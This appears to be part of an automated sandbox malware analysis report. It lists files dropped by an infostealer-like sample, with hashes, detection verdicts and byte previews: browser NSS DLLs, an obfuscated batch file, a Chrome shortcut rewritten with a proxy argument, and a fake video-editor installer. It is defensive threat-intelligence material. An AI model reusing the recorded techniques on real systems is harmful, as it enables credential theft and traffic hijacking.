Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Reputation:	unknown
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user~1\AppData\Local\Temp\Liverpool.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1222), with CRLF line terminators
Category:	dropped
Size (bytes):	23648
Entropy (8bit):	5.0368097656688295
Encrypted:	false
SSDEEP:	384:wT+6Y79kepEcesFEQi0TJ+Ud3Mfw3lVywWicyTkwBh6wd0vPQGzspaTcf1B8:b6Y79kedesFEQik4ffwGicyTk8AwAPOs
MD5:	DA020655ADC3EDDE8E21CF6C5D666139
SHA1:	D1CCAF6BAAE5A5F90732E6D5CCFF791E60EE09FB
SHA-256:	F128FEC408A1CE9D97C4F4DFB41C49B3D75142EA5567E9C111393E5090FDF401
SHA-512:	96297F1777815284511C696377A6EA3CA0CA407F92CD2359CAD78EED11A43E8ADB48EF70BCD2238030622D8F327B7790BBC439CDBDE0B7C9C2EC58FAA00AEF68
Malicious:	false
Reputation:	unknown
Preview:	Set Cassette=9..BCKSaid ..yYMCExhibitions Ht Arrow Reg Fred Hundreds Cage ..jKSome Stocks Naples Gilbert Lucia Wash Posting ..dWTown Belgium ..BFbMWorried Nearest Fountain Did ..jbiPros Ntsc Arrives Nipples ..RLSvImpose Carpet Dutch Irs ..MuWanting Alternative Stakeholders Software Playlist ..RKyNeo Company Changed Be Slow ..DKNirvana Zoophilia Diagram Winners Pirates Climate Athletic Entrepreneur ..Set Discusses=a..uAQueens Journal Briefly ..TWLCop Refund Digital Directed Diego Depends Fork ..YVSydney Libraries Listed Puzzle Aquarium ..IFModeling ..YstUNiagara Publish Ringtone Powerful ..iRPAHarris Toy Sing Valves Vegas Read Covering ..HOlAttention Forgot Crash Extraordinary Prep Connected Corp ..VpaQNokia Cr Current Russell Rates Populations Reason ..dOSearching Bean Operational Donate Retreat Rhode Indicating ..Set Bright=r..HcnvParish Mounting Resolutions Showed Debut ..qpsWt Shed Track Blanket Ipaq ..MEnNorthwest Mission Until Accommodation Charge ..jDWXRestrictions Fellowship Dis

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Thu Oct 5 06:54:41 2023, atime=Wed Sep 27 08:36:54 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.4773541297853137
Encrypted:	false
SSDEEP:	48:8SoM7dvTgtX0lRYrnvPdAKRkdAGdAKRFdAKRr:8SrcR7
MD5:	CB1644546BE54887AAEA555E4AD54E1E
SHA1:	43290C4706AB23093D6DA55D8BB66CC33E80CEF0
SHA-256:	A53306716D7DF2D18B3D22C6D435FFB121E0BBA8802E5D5189342BE13E0B9919
SHA-512:	FEA4907E07C38CB78CBB1DB0C28DFBCA9C311556B6D11C83971F9C766A8D37AD54F38AF2B7D874A1589436122281395E01591103EA3636DF4BD166FF96B52913
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....5v2a....X.&&... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....EW.=..PROGRA~1..t......O.IEW.>....B...............J.......z.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VEW.8....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.8..Chrome..>......CW.VEW.8....M.....................>.i.C.h.r.o.m.e.....`.1.....EW.8..APPLIC~1..H......CW.VEW.8..........................>.i.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.L .chrome.exe..F......CW.VEW.>..........................l...c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\userAKFHCAKJDB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	360864
Entropy (8bit):	7.985939069058878
Encrypted:	false
SSDEEP:	6144:fb/Klz1yq1ry/FkGD9fc9f59Dt80k33KcP0QMVcQr4MvaXA3twkZ7X7ZEO:fb2+iGDQntTk3a20QM2K4KqAdX7ZEO
MD5:	6F4A0AE013610785AD54438F4AF26F1A
SHA1:	C8FF55002963DDE8457DB2B11F68E67A070DDB21
SHA-256:	CCB16A2E8B58BE824D838D5607ECD4B07123DE87F9FE9E42E64507D77B0F374D
SHA-512:	6F3A30E8EE4FF36CFAAC09BFE1272ED4678783C4628DD82E47DD1EF23D4A8EF1C153A9A4E8951CB38B4C7A833F2BC744DBCC7DAC1E550B2F44FFADC8181D8EE3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37% Antivirus: Virustotal, Detection: 45%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."s.f.................(..........nF... ...`....@.. ....................................`..................................F..W....`..............x[..(&...........D............................................... ............... ..H............text...t&... ...(.................. ..`.rsrc........`.....................@..@.reloc...............0..............@..B................PF......H....... 7..............................................................rZ.pLj..5XEY..;...\|..<}......\@..\kDV.2/.i.b.A...9/f..:.Y......M...v.s........>..f..Q~1!..:IS.....k...3.6..u8...M3.::F>..R.`.\...!1R...g..yR.u;.....#Q.C.e.....-.k.;W.l..{.......I.K..S...Z.{...&z.K./..3.$M\gL.S....-].L....u9...k..':......G9.qRbZ@.,...#..oZX...U@%C..^N.i.n..>x;.L...`/2'.a~q..Z....B$...e.h.......Sy.....}}......}W....F..(.\|{.`3..-..p>>M.3..x8...T..NK.j.s."..hK..`....oi.V.,.3

C:\Users\userKEHJKJDGCG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	299936
Entropy (8bit):	7.981206148706914
Encrypted:	false
SSDEEP:	6144:V58+UTYNUsagLAxjDbXxw0HVmjE+IPgkeHeNQZzgSEO:1UTqUsJLunxDVm9IIVOw0SEO
MD5:	A714209DB1B2B68A95E680DF111922ED
SHA1:	5533ED29BF3239839E6ACF03965CF27DDF4F4138
SHA-256:	7AD095DE4171DFB3458752E1F4406B726EA94327E529FD83E2189B8C04FFEE86
SHA-512:	25CE432979995987A26E9442C2C9AC026D55FF9F4820D983AB30496D28A75DEC508C4083B11A2433F5BC3C2F903828ED2849AA5542FC7DE84394B44A29FBCF55
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37% Antivirus: Virustotal, Detection: 45%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Ls.f.................:..........nX... ...`....@.. ....................................`..................................X..W....`..............xm..(&...........V............................................... ............... ..H............text...t8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................PX......H....... I...................................................................2..W.[j..x.x}.<6.?..Y-.W..O...Z......M5"..._.v.p.r.{.'....$.cE..D.Z.-S..J.nJK..}RP.D..Z.....Bx....?...A.!.;1..Id..L..@..hj.`2q.H..a..6.T...w.D.CF.......E.szL...Xk.y.....1I....IZd.A..A.L......B.....u.).......kM..O+...am.F\.L.FA..y....(.K.@..J^A$..6q.@.....v}DOR...I......1..4.\y...?.u].IW.Q..i...$\..~$...Ao...v.;L\.K&vh..0..."Ck....%.S...z...W.....L.j.b.$`1q-...thB..!..Y...ZY.

C:\Users\user\AppData\Local\Jekky Video Editor\Qt5OpenGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-01HD2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-1KTDQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-8F9HF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	data
Category:	dropped
Size (bytes):	2433024
Entropy (8bit):	6.946946349427239
Encrypted:	false
SSDEEP:	49152:pkT0cr4juZ1zZFpnqW78HW8piH6uG8ijx+:k0cr4QZFpqW78HW8cHJ
MD5:	80EA9D37F28E6031202B994353755840
SHA1:	5FEFA6036C66163184492ACD06DFDBC6C11433F4
SHA-256:	E23835DD273B4339A04D1FCD4D0AEB6AC80CD7E52819AFA8D261E4415BB7CC4E
SHA-512:	06F3E7B537BECE5C2AD0E2193800EE0194194623D3931B08BB61A3D8DB709F5B14F75B1510F2F5E3275145AA93021122FE3026E818C8C26B31BC1BAECE1B43CD
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@m.L.................."..........r"......."...@..........................P%......N%.......................................".@.....#.p............................................................................."..............................text...J.".......".................`....rdata...D...."..P....".............@..@.data...XT... #..0... #.............@....rsrc.........#......P#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-B77BO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-DFBEG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	718497
Entropy (8bit):	6.514981093055765
Encrypted:	false
SSDEEP:	12288:TTPcYn5c/rPx37/zHBA6a5UeYpChr1CERdSrNdyR6f3o1a+mxyFK:HPcYn5c/rPx37/zHBA6pFpCZ1CEuf3oU
MD5:	D5265AA5E189D3916EA9E3F5D2EF2AA3
SHA1:	1876187B10C8EBF8DB6ADA8F7DEFE2075FBA6351
SHA-256:	F93FF07C8608ACD6ADD52E8CCFDCC0B61BC63F80F84559EFECACC26AE4DD1F22
SHA-512:	62FC02393CADB8C4715FCD444B117DC8AD8D07A1FDB4850BE3F9188368AEF491CEFCDC19229C0104A9FC031BABB352318BA506D2C118C9F70B722C04DB7C27D7
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@...............................%..................................................................................................................CODE....@........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................V..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-ES64L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-JS844.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\is-TEF7I.tmp

Download File

